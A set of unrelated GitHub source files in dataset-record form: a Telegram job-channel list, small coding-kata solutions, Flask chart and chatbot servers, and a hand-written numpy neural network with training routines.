'multi_job_per_post': True,\n     'name': 'Студент Маминой Подруги'},\n    {'access_hash': 6538460944693708792,\n     'channel_id': 1411007322,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Java Job | Вакансии'},\n    {'access_hash': -5490274602456600293,\n     'channel_id': 1281962041,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'JVM Jobs'},\n    {'access_hash': 4998128328237565150,\n     'channel_id': 1091870362,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Работа в ИТ',\n     'stop_list': {\n         \"\"\"--\\n[< Подпишитесь на канал «Работа в ИТ» >]\"\"\": \"chunk\"\n     }\n     },\n    {'access_hash': -5909329379632871806,\n     'channel_id': 1512435004,\n     'is_description_behind_link': True,\n     'multi_job_per_post': True,\n     'name': 'СЕТИ — IT & Digital вакансии'},\n    {'access_hash': -2400148711280571894,\n     'channel_id': 1442301657,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Вакансии в IT от hh.ru'},\n    {'access_hash': 2542445197710390363,\n     'channel_id': 1422211563,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'JavaScript Job | Вакансии | Стажировки'},\n    {'access_hash': 4573017443947439657,\n     'channel_id': 1253965277,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for QA'},\n    {'access_hash': 4469727030140548976,\n     'channel_id': 1141029953,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Remote IT (Inflow)'},\n    {'access_hash': 2762659366077032729,\n     'channel_id': 1109222536,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Работа в геймдеве 🍖'},\n    {'access_hash': -6765321105930919346,\n     'channel_id': 1780531805,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'IT Jobs (No Code)'},\n    {'access_hash': 3015706059178851542,\n     'channel_id': 1165814759,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'YandexTeam нанимает разработчиков'},\n    {'access_hash': 7661085506366999415,\n     'channel_id': 1292405242,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Python Job | Вакансии | Стажировки'},\n    {'access_hash': 5356555690955987946,\n     'channel_id': 1212014211,\n     'is_description_behind_link': True,\n     'multi_job_per_post': True,\n     'name': 'C# jobs — вакансии по C#, .NET, Unity',\n     'stop_list': {\n         \"\"\"Это #партнерский пост\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': 7300955172047877354,\n     'channel_id': 1458440404,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Web 3.0 Job | Вакансии'},\n    {'access_hash': 7616496655744069896,\n     'channel_id': 1537669054,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Golang Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -7574898543547144928,\n     'channel_id': 1662664152,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'HTML Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {\n        'access_hash': -4582612528289746852,\n        'channel_id': 1780472872,\n        'is_description_behind_link': False,\n        'multi_job_per_post': False,\n        'name': 'C/C++ Job Offers',\n        'stop_list': {\n            \"\"\"Больше вакансий для\"\"\": \"sentence\"\n        }\n    },\n    {'access_hash': 5866931421256921156,\n     'channel_id': 1447304363,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Jobs Code: IT вакансии'},\n    {'access_hash': -1883206108678240761,\n     'channel_id': 1459679492,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Удаленка — IT и Digital'},\n    {\n        'access_hash': 6073439727096356645,\n        'channel_id': 1817966996,\n        'is_description_behind_link': False,\n        'multi_job_per_post': False,\n        'name': 'IT vacancies',\n        'stop_list': {\n            \"\"\"┃🧑‍💻Получай больше вакансии \"\"\": \"chunk\",\n            \"\"\"┃и подработок в нашем боте\"\"\": \"chunk\",\n            \"\"\"┃ - @jobprbot\"\"\": \"chunk\",\n            \"\"\"➖➖➖➖➖➖➖➖➖➖➖\"\"\": \"chunk\",\n            \"\"\"Если хотите пожаловаться на вакансию - пишите по контактам в описании канала\"\"\": \"chunk\",\n            \"\"\"——————————\"\"\": \"chunk\",\n            \"\"\"📱 Вакансии для новичков ★\"\"\": \"chunk\",\n            \"\"\"Разместить вакансию\"\"\": \"chunk\"\n        }\n    }\n]\n\n\n# {'access_hash': -6110833204924972431,\n#      'channel_id': 1284368373,\n#      'is_description_behind_link': False,\n#      'multi_job_per_post': False,\n#      'name': 'Р1: Работа. Вакансии 1С.'},\n\n# ]\n\ndef get_stop_list(source):\n    for channel in ALL_CHANNELS:\n        if channel[\"channel_id\"] == int(source.split(\":\")[1]):\n            stop_list = channel.get(\"stop_list\", {})\n            if not isinstance(stop_list, dict):\n                raise NotImplementedError\n            return stop_list\n\n    return {}\n\n\nif os.getenv(\"ENV\") == \"TEST\":\n    ACTIVE_CHANNELS = [\n        (\n            InputPeerChannel(channel[\"channel_id\"], channel[\"access_hash\"]),\n            channel[\"name\"],\n            channel.get(\"stop_list\")\n        )\n        for channel in [test_channel]\n    ]\nelse:\n    ACTIVE_CHANNELS = [\n        (\n            InputPeerChannel(channel[\"channel_id\"], channel[\"access_hash\"]),\n            channel[\"name\"],\n            channel.get(\"stop_list\")\n        )\n        for channel in ALL_CHANNELS\n    ]\n","repo_name":"andrewshvv/findr","sub_path":"src/preprocessing/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":13130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71122174832","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def isBalanced(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: bool\n        \"\"\"\n        if(not root):\n            return True\n\n        def dfs(root, length):\n            if(not root):\n                return length - 1\n            \n            len1 = dfs(root.left, length + 1)\n            len2 = dfs(root.right, length + 1)\n\n            if(abs(len1 - len2) > 1):\n                return -2\n            \n            return max(len1, len2)\n            \n        return (False if(dfs(root, 0) == -2)else True)","repo_name":"jaryo/myleet","sub_path":"110.py","file_name":"110.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37089723517","text":"from flask import jsonify, request\nfrom pyxley.charts.mg import LineChart\n\n\nclass ESSensorLineChart(LineChart):\n    def __init__(self, figure, x, y, es_helper, title=\"Line Chart\",\n                 description=\"Line Chart\", init_params={}, timeseries=False,\n                 route_func=None):\n\n        self.plot_opts = {\n            \"title\": title,\n            \"description\": description,\n            \"target\": \"#\" + figure.chart_id,\n            \"x_accessor\": \"x\",\n            \"y_accessor\": \"y\",\n            \"init_params\": init_params\n        }\n        for k, v in list(figure.get().items()):\n            self.plot_opts[k] = v\n\n        self.es_helper = es_helper\n\n        if not route_func:\n            def get_data():\n                args = {}\n                for c in init_params:\n                    if request.args.get(c):\n                        args[c] = request.args[c]\n                    else:\n                        args[c] = init_params[c]\n                return jsonify(self.es_helper.get_data(args,\n                    timeseries=timeseries\n                ))\n\n            route_func = get_data\n\n        super(LineChart, self).__init__(figure.chart_id, figure.url, self.plot_opts, route_func)","repo_name":"gerlachry/juno","sub_path":"juno/charts/es_charts.py","file_name":"es_charts.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"9775541688","text":"#area of squares\r\n\r\ndef perimeter(n):\r\n    # your code\r\n    long_d=1\r\n    long_a=1\r\n    area=0\r\n    fibbonaci=[]\r\n    for i in range(n):\r\n        fibbonaci.append(long_a)\r\n        long_a+=long_d\r\n        long_d=fibbonaci[-1]\r\n    return (sum(fibbonaci)+1)*4\r\nprint(perimeter(7))\r\n        \r\n\r\n\r\n\r\n\r\n\r\n##perimeter(5)  should return 80\r\n##perimeter(7)  should return 216\r\n","repo_name":"Code-Arcanite/Simulators","sub_path":"square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14194345417","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom transformers import T5Tokenizer, AutoModelForCausalLM\n\n# トークナイザーとモデルの準備\ntokenizer = T5Tokenizer.from_pretrained(\"rinna/japanese-gpt2-medium\")\nmodel = AutoModelForCausalLM.from_pretrained(\"output/\")\n\n\napp = Flask(__name__)\nCORS(app, support_credentials=True)\n\n\n@app.route('/', methods=['POST'])\n@cross_origin(supports_credentials=True)\ndef index():\n    inp_text = request.form['content']\n    rep_text = reply(inp_text)\n    print(\"input:\", inp_text)\n    print(\"reply:\", rep_text)\n\n    return jsonify({\"content\": rep_text})\n\n\ndef reply(inp_text):\n    # 推論\n    input = tokenizer.encode(inp_text, return_tensors=\"pt\",add_special_tokens=False) #\"\"以下の文章を生成\n    output = model.generate(input, do_sample=True, min_lenghth=150, max_length=200, num_return_sequences=1,top_k=50,top_p=0.65)\n    reply = tokenizer.batch_decode(output, skip_special_tokens=True)\n    print(reply)\n\n    return reply\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True, host='0.0.0.0', port=8000)\n","repo_name":"mmov1099/chat_bot","sub_path":"bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"27557783840","text":"__author__ = 'aliowen87'\nimport numpy as np\n\n\nclass Layer(object):\n\n    def __init__(self, inner, outer, activation):\n        \"\"\"\n        Layer class is used to create the layers of the network, initialising the weights and biases and\n        setting up class variables for parameters that are updated with each minibatch (e.g. caching for\n        RMSPROP or velocity for momentum).\n        :param inner: Number of connections into the layer\n        :param outer: Number of connections out of the layer\n        :param activation: Activation function to use for the layer\n        :return:\n        \"\"\"\n        self.inner = inner\n        self.outer = outer\n        self.activation = activation\n        # initialise weights and bias\n        if activation == 'relu':\n            self.weights = np.random.randn(self.outer, self.inner) * np.sqrt(2.0 / (self.inner + self.outer))\n        else:\n            self.weights = np.random.randn(self.outer, self.inner) / np.sqrt(self.inner + self.outer)\n        # create bias numpy array\n        self.bias = np.random.randn(self.outer, 1).T\n        # placeholder numpy array for gradient of weights and biases\n        self.nablaw = np.zeros(self.weights.shape)\n        self.nablab = np.zeros(self.bias.shape)\n        # Velocity parameter for momentum\n        self.velocity = 0.0\n        # early stopping weights/bias\n        self.best_weights = np.zeros(self.weights.shape)\n        self.best_bias = np.zeros(self.bias.shape)\n        #RMS/Adaprop cache variable\n        self.cache = np.zeros(self.weights.shape)\n\n# TODO: Convolutional and pooling layer extensions to Layer\nclass ConvolutionalLayer(Layer):\n    pass\n\n\nclass PoolingLayer(Layer):\n    pass\n\n\nclass Network(object):\n\n    def __init__(self, layers, seed=42):\n        \"\"\"\n        The Network class contains the activation and stochastic gradient descent functions necessary to\n        carry out learning.\n        :param layers: list of tuples of the form (layer_size, activation type) e.g. (200, 'relu'), the output layer\n        activation should be set to None.\n        :param seed: seed random number generator, default=42\n        \"\"\"\n\n        # seed random number generator\n        np.random.seed(seed)\n\n        # dictionary of activation functions\n        self.activation_functions = {\n            'sigmoid': self.sigmoid,\n            'sigmoid_prime': self.sigmoid_prime,\n            'relu': self.reLU,\n            'relu_prime': self.reLU_prime,\n            'tanh': self.tanh,\n            'tanh_prime': self.tanh_prime,\n            'softmax': self.softmax,\n            'softmax_prime': self.softmax_prime\n        }\n\n        # initialise layers\n        self.layers = [Layer(l[0], layers[i+1][0], l[1])\n                       for i, l in enumerate(layers[:-1])]\n\n        # variables for storing errors for plotting once learning is complete\n        self.train_error = list()\n        self.val_error = list()\n        # storage variable for early stopping\n        self.min_val_err = 100.0\n\n\n    def inverted_dropout(self, layer, p=1.0):\n        \"\"\"\n        Takes an activated layer during forward prop and applies a mask to increase sparsity\n        of the layer using probability p. Inverts using p. Returns dropped-out layer\n        :param layer: activated layer\n        :param p: dropout probability i.e. sparsity of outputted layer\n        :return: dropped layer\n        \"\"\"\n        mask = (np.random.rand(*layer.shape) < p) / p\n        return layer * mask\n\n\n    def normalise(self, train, val=None, test=None):\n        \"\"\"\n        Normalise split train/validation/test data by subtracting train.mean() and scaling by\n        train.std()\n        :param train: training set\n        :param val: validation set (optional)\n        :param test: test set (optional)\n        :return: Normalised train/validation/test set\n        \"\"\"\n        mean = train.mean()\n        std = train.std()\n        train_scaled = (train - mean) / std\n        if val is not None:\n            val = (val - mean) / std\n        if test is not None:\n            test = (test - mean) / std\n        return train_scaled, val, test\n\n\n    def pca_whiten(self, X, whiten=False, n_components=None, eps=1e-5):\n        \"\"\"\n        Carries out principle component analysis with optional whitening\n        :param X: Input data\n        :param whiten: Whether to whiten data, True or False\n        :param n_components: number of components to reduce to, defaults to X.shape[1] - 1\n        :param eps: Constant to prevent division by 0, default 1e-5. Increase if data is of the same magnitude\n        :return: Data with n_components parameters, whitened is whiten=True\n        \"\"\"\n        # TODO: Automatically retain X% variance\n        # if n_components is undefined or > number of parameters then set to default\n        if n_components is None or n_components > X.shape[1]:\n            n_components = X.shape[1] - 1\n        # centre the data on zero\n        X -= np.mean(X, axis=0)\n        # calculate the covariance matrix\n        cov = np.dot(X.T, X) / X.shape[0]\n        # Singular value decomposition\n        U, S, V = np.linalg.svd(cov)\n        # Print variance retained\n        print(\"Variance retained: %.1f%%\" % (np.sum(S[:n_components])/np.sum(S) * 100))\n        # project zero-centred data onto eigenbasis\n        X_rotated = np.dot(X, U)\n        # PCA\n        X_rotated_reduced = np.dot(X, U[:, :n_components])\n        # whitening if flag set to True\n        if whiten:\n            Xwhitened = X_rotated / np.sqrt(S + eps)\n            return Xwhitened\n\n        return X_rotated_reduced\n\n\n    def feedforward(self, X, p=1.0):\n        \"\"\"\n        Standard feedforward algorithm\n        :param X: training examples in the shape m examples x n features\n        :param p: dropout probability, default=1 i.e. no dropout\n        :return: list of activated arrays and dot products\n        \"\"\"\n        # list of activations and activated z's for passing to backprop\n        activations = list()\n        zs = list()\n        activation = X\n        # loop through each layer and apply that layer's activation function the the previous' activated output\n        # e.g. z1 = sigmoid(X.w1.T + b1) -> z2 = sigmoid(z1.w2.T + b2) etc\n        for l in self.layers:\n            z = np.dot(activation, l.weights.T) + l.bias\n            # save z for backprop\n            zs.append(z)\n            activation = self.activation_functions[l.activation](z)\n            # dropout\n            if p < 1.0:\n                activation = self.inverted_dropout(activation, p=p)\n            # save activation for backprop\n            activations.append(activation)\n        return activations, zs\n\n    def predict(self, X, p=1.0):\n\n        act, z = self.feedforward(X, p=p)\n        return act[-1]\n\n\n    def backprop(self, X, y, p=1.0):\n        \"\"\"\n        Backpropogation algorithm\n        :param X: training examples in the shape m examples x n features\n        :param y: target values in binary array, shape m examples x num classes\n        :param p: dropout probability, default = 1 i.e. no dropout\n        :return: None, weights and biases updated in Layer class arrays\n        \"\"\"\n        # get activations and z-values\n        A, Z = self.feedforward(X, p=p)\n\n        # initial error, difference between the final output layer and y.\n        delta = (A[-1] - y)\n        # store bias gradient as initial error\n        self.layers[-1].nablab = delta[0]\n\n        self.layers[-1].nablaw = np.dot(delta.T, A[-2])\n        for i in range(2, len(self.layers)):\n            z = Z[-i]\n            activation_prime = self.activation_functions[self.layers[-i].activation + '_prime'](z)\n            delta = np.dot(delta, self.layers[-i+1].weights) * activation_prime\n\n            self.layers[-i].nablab = delta.mean(axis=0)\n            self.layers[-i].nablaw = np.dot(delta.T, A[-i-1])\n\n\n    def stochastic_gradient_descent(self, X, y, epochs, mini_batch_size, eta=0.01, lambda_=0.0,\n                                    Xval=None, yval=None, momentum=\"nag\", alpha=0.1, p=1):\n        \"\"\"\n        Stochastic gradient descent...\n        :param X: Training examples in the form M X N\n        :param y: Training labels in the from C * I\n        :param epochs: Number of epochs to train\n        :param mini_batch_size: Minibatch size\n        :param eta: Learning rate\n        :param lambda_: L2 regularisation parameter\n        :param momentum: :param momentum: Type of stochastic update strategy to use, 'classic'=momentum,\n        'nag'=nesterov accelerated gradient, 'rmsprop'=RMSProp, else use standard update rule. Default is 'nag'\n        :param alpha: early stopping hyperparameter, will stop when validation error increasing by this factor\n        :param Xval: validation array in the shape m examples by n features\n        :param yval: validation array in the shape m examples by num classes\n        :return: None, class variables updated in-place\n        \"\"\"\n        momentum = momentum.lower()\n        # save number of training examples\n        m = X.shape[0]\n        # placeholder for validation error\n        val_cost = 1e4\n\n        # primary descent loop\n        for j in range(epochs):\n            # TODO: consider adding annealing or similar back in to speed up learning\n            # if j > 0 and j % 5 == 0:\n            #     eta *= 0.9\n\n            # reset velocity each epoch\n            for l in self.layers:\n                l.velocity = 0.0\n\n            # combine training samples and labels for minibatch sampling\n            Xy = np.hstack((X,y))\n            # shuffle t\n            np.random.shuffle(Xy)\n\n            # Split back into examples and class labels\n            X_shuffled = Xy[:, :X.shape[1]]\n            y_shuffled = Xy[:, -y.shape[1]:]\n\n            # minibatch loop\n            for k in range(0, m, mini_batch_size):\n                # slice minibatches\n                mini_X = X_shuffled[k:k+mini_batch_size, :]\n                mini_y = y_shuffled[k:k+mini_batch_size, :]\n                # perform update\n                self.update_mini_batch(mini_X, mini_y, eta, lambda_, m, momentum=momentum, p=p)\n\n            # If supplied with validation data, calculate validation error and perform early stopping\n            if Xval is not None and yval is not None:\n                val_activations, _ = self.feedforward(Xval)\n                val_cost = self.cost_function(yval, val_activations[-1], Xval.shape[0], lambda_)\n                self.val_error.append(val_cost)\n\n                # early stopping regularisation, calculate loss rate\n                loss_rate = float(val_cost / self.min_val_err - 1)\n\n                # save best network weights and bias\n                if val_cost < self.min_val_err:\n                    self.min_val_err = val_cost\n                    for l in self.layers:\n                        l.best_weights = l.weights\n                        l.best_bias = l.bias\n\n                # early stopping starts tracking after first 10 epochs to allow for initial fluctuations at\n                # high learning rates\n                if j > 10 and loss_rate > alpha:\n                    print(\"Stopping early, epoch %d \\t loss rate: %.3f \\t Val Error: %.6f\"\n                          % (j, loss_rate, self.min_val_err))\n                    for l in self.layers:\n                        l.weights = l.best_weights\n                        l.bias = l.best_bias\n                    # exit function\n                    return None\n            else:\n                val_cost = 1.0\n\n            # get the training error\n            activations, _ = self.feedforward(X)\n            cost = self.cost_function(y, activations[-1], m, lambda_)\n            self.train_error.append(cost)\n\n            # Print the training error every 10 epochs\n            if j % 10 == 0:\n                print(\"Epoch: %d \\t Cost: %.6f \\t Val Cost: %.6f\" % (j, cost, val_cost))\n\n        # end loop (early stopping criterion not exceeded), print results\n        print(\"Epoch: %d \\t Cost: %.6f \\t Val Cost: %.6f\" % (epochs, cost, val_cost))\n\n\n    def update_mini_batch(self, X, y, eta, lambda_, m, mu=0.9, momentum=\"nag\",\n                          decay=0.99, p=1.0):\n        \"\"\"\n        Update weights and bias based on minibatch\n        :param X: Minibatch of training examples\n        :param y: Minibatch of training labels\n        :param eta: learning rate\n        :param lambda_: L2 regularisation parameter\n        :param decay: RMSProp decay hyperparameter\n        :param momentum: Type of stochastic update strategy to use, 'classic'=momentum, 'nag'=nesterov accelerated\n        gradient, 'rmsprop'=RMSProp, else use standard update rule. Default is 'nag'\n        :return: None\n        \"\"\"\n\n        # update gradients with backprop\n        self.backprop(X, y, p=p)\n\n        # Momentum c.f. http://www.cs.toronto.edu/~fritz/absps/momentum.pdf\n        if momentum == \"classic\":\n            for l in self.layers:\n                l.bias -= 1 / m * eta * l.nablab\n                l.velocity = mu * l.velocity - eta * (1 / m * l.nablaw - lambda_ * l.weights)\n                l.weights += l.velocity\n            return None\n\n        # Nesterov accelerated gradient (NAG) c.f http://www.cs.toronto.edu/~fritz/absps/momentum.pdf\n        if momentum == \"nag\":\n            for l in self.layers:\n                l.bias -= 1 / m * eta * l.nablab\n                vel_prev = l.velocity\n                l.velocity = mu * l.velocity - eta * (1 / m * l.nablaw - lambda_ * l.weights)\n                l.weights += - mu * vel_prev + (1 + mu) * l.velocity\n            return None\n\n        # RMSProp c.f. Hinton http://www.cs.toronto.edu/~tijmen/csc321/slides/lecture_slides_lec6.pdf\n        # cache = decay * cache + (1 - decay) * grad ** 2\n        # weights += - eta * grad / np.sqrt(cache + 1e-8)\n        if momentum == 'rmsprop':\n            for l in self.layers:\n                l.cache = decay * l.cache + (1 - decay) * l.nablaw ** 2\n                l.weights -= (eta * l.nablaw) / np.sqrt(l.cache + 1e-8)\n            return None\n\n        # default update\n        # update weights and bias with simple gradient descent\n        for l in self.layers:\n            l.bias -= 1 / m * eta * l.nablab\n            l.weights -= eta * (1 / m * l.nablaw - lambda_ * l.weights)\n\n\n    def cost_function(self, y, h, m, lambda_):\n        \"\"\"\n        Logloss cost function\n        :param y: Binary array of ground truth in the shape m x num classes\n        :param h: Output layer from network (i.e. the predictions)\n        :param m: Number of training examples\n        :return: Logloss cost\n        \"\"\"\n        # cross-entropy error/cost function c.f. https://en.wikipedia.org/wiki/Cross_entropy\n        J = - 1 / m * np.sum(y * np.log(h+ 1e-8) + (1 - y) * np.log(1 - h + 1e-8))\n\n        # L2 regularisation\n        for l in self.layers:\n            J += lambda_  / (2 * m) * self.sumsqr(l.weights)\n        return J\n\n    def sumsqr(self, x):\n        return np.sum(x ** 2)\n\n\n    def sigmoid(self, z):\n        \"\"\"\n        Computes sigmoid activation\n        :param z: Numpy array of the form X.W.T\n        :return: Numpy array activated by sigmoid\n        \"\"\"\n        return 1 / (1 + np.exp(-z))\n\n\n    def sigmoid_prime(self, z):\n        \"\"\"\n        Computes sigmoid gradient of numpy array of the form sigmoid(z) * (1 - sigmoid(z))\n        :param z: Numpy array of the form activation - y/ grad.T.activation[-1] etc\n        :return: Sigmoid gradient (numpy array)\n        \"\"\"\n        y = self.sigmoid(z)\n        return y * (1 - y)\n\n\n    def reLU(self, z):\n        \"\"\"\n        Rectified linear unit, returns the maximum of 0 or z(i,j)\n        :param z: Numpy array of the form X.W.T\n        :return:\n        \"\"\"\n        return z * (z > 0)\n\n\n    def reLU_prime(self, z):\n        \"\"\"\n        Computes ReLU gradient of numpy array, 1 if z(i) > 0\n        :param z: Numpy array of the form activation - y/ grad.T.activation[-1] etc\n        :return: ReLU gradient (numpy array)\n        \"\"\"\n        z[z <= 0] = 0\n        return z\n\n\n    def tanh(self, z):\n        return np.tanh(z)\n\n\n    def tanh_prime(self, z):\n        y = self.tanh(z)\n        return 1 - np.power(y, 2)\n\n\n    def softmax(self, z):\n        e = np.exp(z)\n        return e / np.sum(e)\n\n\n    def softmax_prime(self, z):\n        y = self.softmax(z)\n        return y * (1 - y)\n\n\n    def gradient_check(self, X, y, eps=1e-5):\n        # TODO: Complete/fix gradient check code\n        # run gradient function for a few epochs\n        epochs = 30\n        mini_batch_size = 50\n        lambda_ = 0.0\n        self.stochastic_gradient_descent(X, y, epochs, mini_batch_size, lambda_=lambda_)\n        m = X.shape[0]\n\n        for i, l in enumerate(self.layers):\n            # For gradient checking I need to take each element of the gradient\n            # and compare it to the numerical gradient calculated by G(W(i) + eps)) - G(W(i) - eps)) / 2*eps\n            # Looks like previously I was comparing tht weights rather than gradW, which is obvs wrong\n            # Diff should be ~< eps\n            weights = l.weights\n            gradients = l.nablaw\n            plus = weights + eps\n            l.weights = plus\n            actplus, _ = self.feedforward(X)\n            costplus = self.cost_function(y, actplus[-1], m, lambda_)\n            minus = weights - eps\n            l.weights = minus\n            actminus, _ = self.feedforward(X)\n            costminus = self.cost_function(y, actminus[-1], m, lambda_)\n            grad = (costplus - costminus) / (2 * eps)\n            difference = (np.sum(gradients) - grad) / (np.sum(gradients) + grad)\n            print(\"Difference for Layer %d: %.6f\" %(i, difference))\n\n# TODO: Preprocessing and Metrics classes\n\nclass Preprocessing(object):\n\n    def __init__(self):\n        pass\n\n    def normalise(self, train, val=None, test=None):\n        \"\"\"\n        Normalise split train/validation/test data by subtracting train.mean() and scaling by\n        train.std()\n        :param train: training set\n        :param val: validation set (optional)\n        :param test: test set (optional)\n        :return: Normalised train/validation/test set\n        \"\"\"\n        mean = train.mean()\n        std = train.std()\n        train_scaled = (train - mean) / std\n        if val is not None:\n            val = (val - mean) / std\n        if test is not None:\n            test = (test - mean) / std\n        return train_scaled, val, test\n\n\n    def pca_whiten(self, X, whiten=False, n_components=None, eps=1e-5):\n        \"\"\"\n        Carries out principle component analysis with optional whitening\n        :param X: Input data\n        :param whiten: Whether to whiten data, True or False\n        :param n_components: number of components to reduce to, defaults to X.shape[1] - 1\n        :param eps: Constant to prevent division by 0, default 1e-5. Increase if data is of the same magnitude\n        :return: Data with n_components parameters, whitened is whiten=True\n        \"\"\"\n        # TODO: Automatically retain X% variance\n        # if n_components is undefined or > number of parameters then set to default\n        if n_components is None or n_components > X.shape[1]:\n            n_components = X.shape[1] - 1\n        # centre the data on zero\n        X -= np.mean(X, axis=0)\n        # calculate the covariance matrix\n        cov = np.dot(X.T, X) / X.shape[0]\n        # Singular value decomposition\n        U, S, V = np.linalg.svd(cov)\n        # Print variance retained\n        print(\"Variance retained: %.1f%%\" % (np.sum(S[:n_components])/np.sum(S) * 100))\n        # project zero-centred data onto eigenbasis\n        X_rotated = np.dot(X, U)\n        # PCA\n        X_rotated_reduced = np.dot(X, U[:, :n_components])\n        # whitening if flag set to True\n        if whiten:\n            Xwhitened = X_rotated / np.sqrt(S + eps)\n            return Xwhitened\n\n        return X_rotated_reduced\n\n\nclass Metrics(object):\n\n    def __init__(self):\n        pass\n\n    def accuracy(y, h):\n        # pick the highest score in each row\n        highest = np.zeros(h.shape)\n        for i, x in enumerate(h):\n            highest[i, x.argmax()] = 1.0\n        # sum by row and then sum again\n        return (sum(np.sum(y * h, axis=0)) / y.shape[0]) * 100.0\n\n    def f1_score(y, h):\n        # pick the highest score in each row\n        highest = np.zeros(h.shape)\n        for i, x in enumerate(h):\n            highest[i, x.argmax()] = 2\n        compare = (y - highest).astype(int)\n        true_pos, false_pos, true_neg, false_neg = 0, 0, 0, 0\n        for x in compare:\n            if x.sum() == -2:\n                false_pos += 1\n            if x.sum() == -1:\n                true_pos += 1\n            if x.sum() == 0:\n                true_neg += 1\n            if x.sum() == 1:\n                false_neg =+1\n        precision = true_pos / (true_pos + false_pos)\n        recall = true_pos / (true_pos + false_neg)\n        # calculate F1 score\n        return 2 * (precision * recall) / (precision + recall)\n\n\n","repo_name":"aliowen87/nn","sub_path":"network2.py","file_name":"network2.py","file_ext":"py","file_size_in_byte":20880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74430048751","text":"# -*- coding: utf-8 -*-\r\n# Source of katas: https://www.codewars.com/\r\n# @Filename: RangeBitCounting.py\r\n\r\n'''\r\nDescription:\r\nTask\r\nYou are given two numbers a and b where 0 ≤ a ≤ b. Imagine you construct an array of all the integers from a to b inclusive. You need to count the number of 1s in the binary representations of all the numbers in the array.\r\n\r\nExample\r\nFor a = 2 and b = 7, the output should be 11\r\n\r\nGiven a = 2 and b = 7 the array is: [2, 3, 4, 5, 6, 7]. Converting the numbers to binary, we get [10, 11, 100, 101, 110, 111], which contains 1 + 2 + 1 + 2 + 2 + 3 = 11 1s.\r\n\r\nInput/Output\r\n[input] integer a\r\n\r\nConstraints: 0 ≤ a ≤ b.\r\n\r\n[input] integer b\r\n\r\nConstraints: a ≤ b ≤ 100.\r\n\r\n[output] an integer\r\n'''\r\n\r\n# my solutions\r\ndef range_bit_count(a, b):\r\n    count = 0\r\n    for n in range(a, b+1):\r\n        while n > 0:\r\n            remainder = n % 2\r\n            if remainder:\r\n                count+=1\r\n            n //= 2\r\n    return count\r\n\r\n# best practices\r\ndef range_bit_count(a, b):\r\n    return sum(bin(i).count('1') for i in range(a, b+1))\r\n\r\n# test cases\r\nTest.it(\"Basic Tests\")\r\nTest.assert_equals(range_bit_count(2,7) , 11)\r\nTest.assert_equals(range_bit_count(0,1) , 1)\r\nTest.assert_equals(range_bit_count(4,4) , 1)\r\n\r\n\r\n#random tests part\r\nfrom random import randint\r\nimport math\r\ndef an(a, b):\r\n  r=0\r\n  for i in range(a,b+1): r+=len(bin(i).split('1'))-1\r\n  return r\r\n\r\ndef rand(a, b):\r\n  return randint(a, b)\r\n#Test.describe(\"100 Random Tests\")\r\nTest.it(\"100 Random Tests\")\r\nfor _ in range(100):\r\n  r1=rand(0,30)\r\n  r2=r1+rand(0,70)\r\n  ans=an(r1,r2)\r\n  \r\n  print(\"</b><font color='#00cc00'>Testing for:\\n</font><font color='cccc00'>\"\r\n  +(\"a = %s\" %(r1))\r\n  +(\"\\nb = %s\" %(r2))\r\n  #+(\"\\nvalue2 = %s\" %(r3))\r\n  #+(\"\\nweight2 = %s\" %(r4))\r\n  #+(\"\\nmax_w = %s\" %(r5))\r\n  +(\"\\ncorrect result should be %s\" %(ans))\r\n  +\"</font></b>\")  \r\n  \r\n  Test.assert_equals(range_bit_count(r1,r2),ans,\"Your result is\")\r\n\r\n","repo_name":"aoenian/codewars-katas-python","sub_path":"7kyu/RangeBitCounting.py","file_name":"RangeBitCounting.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
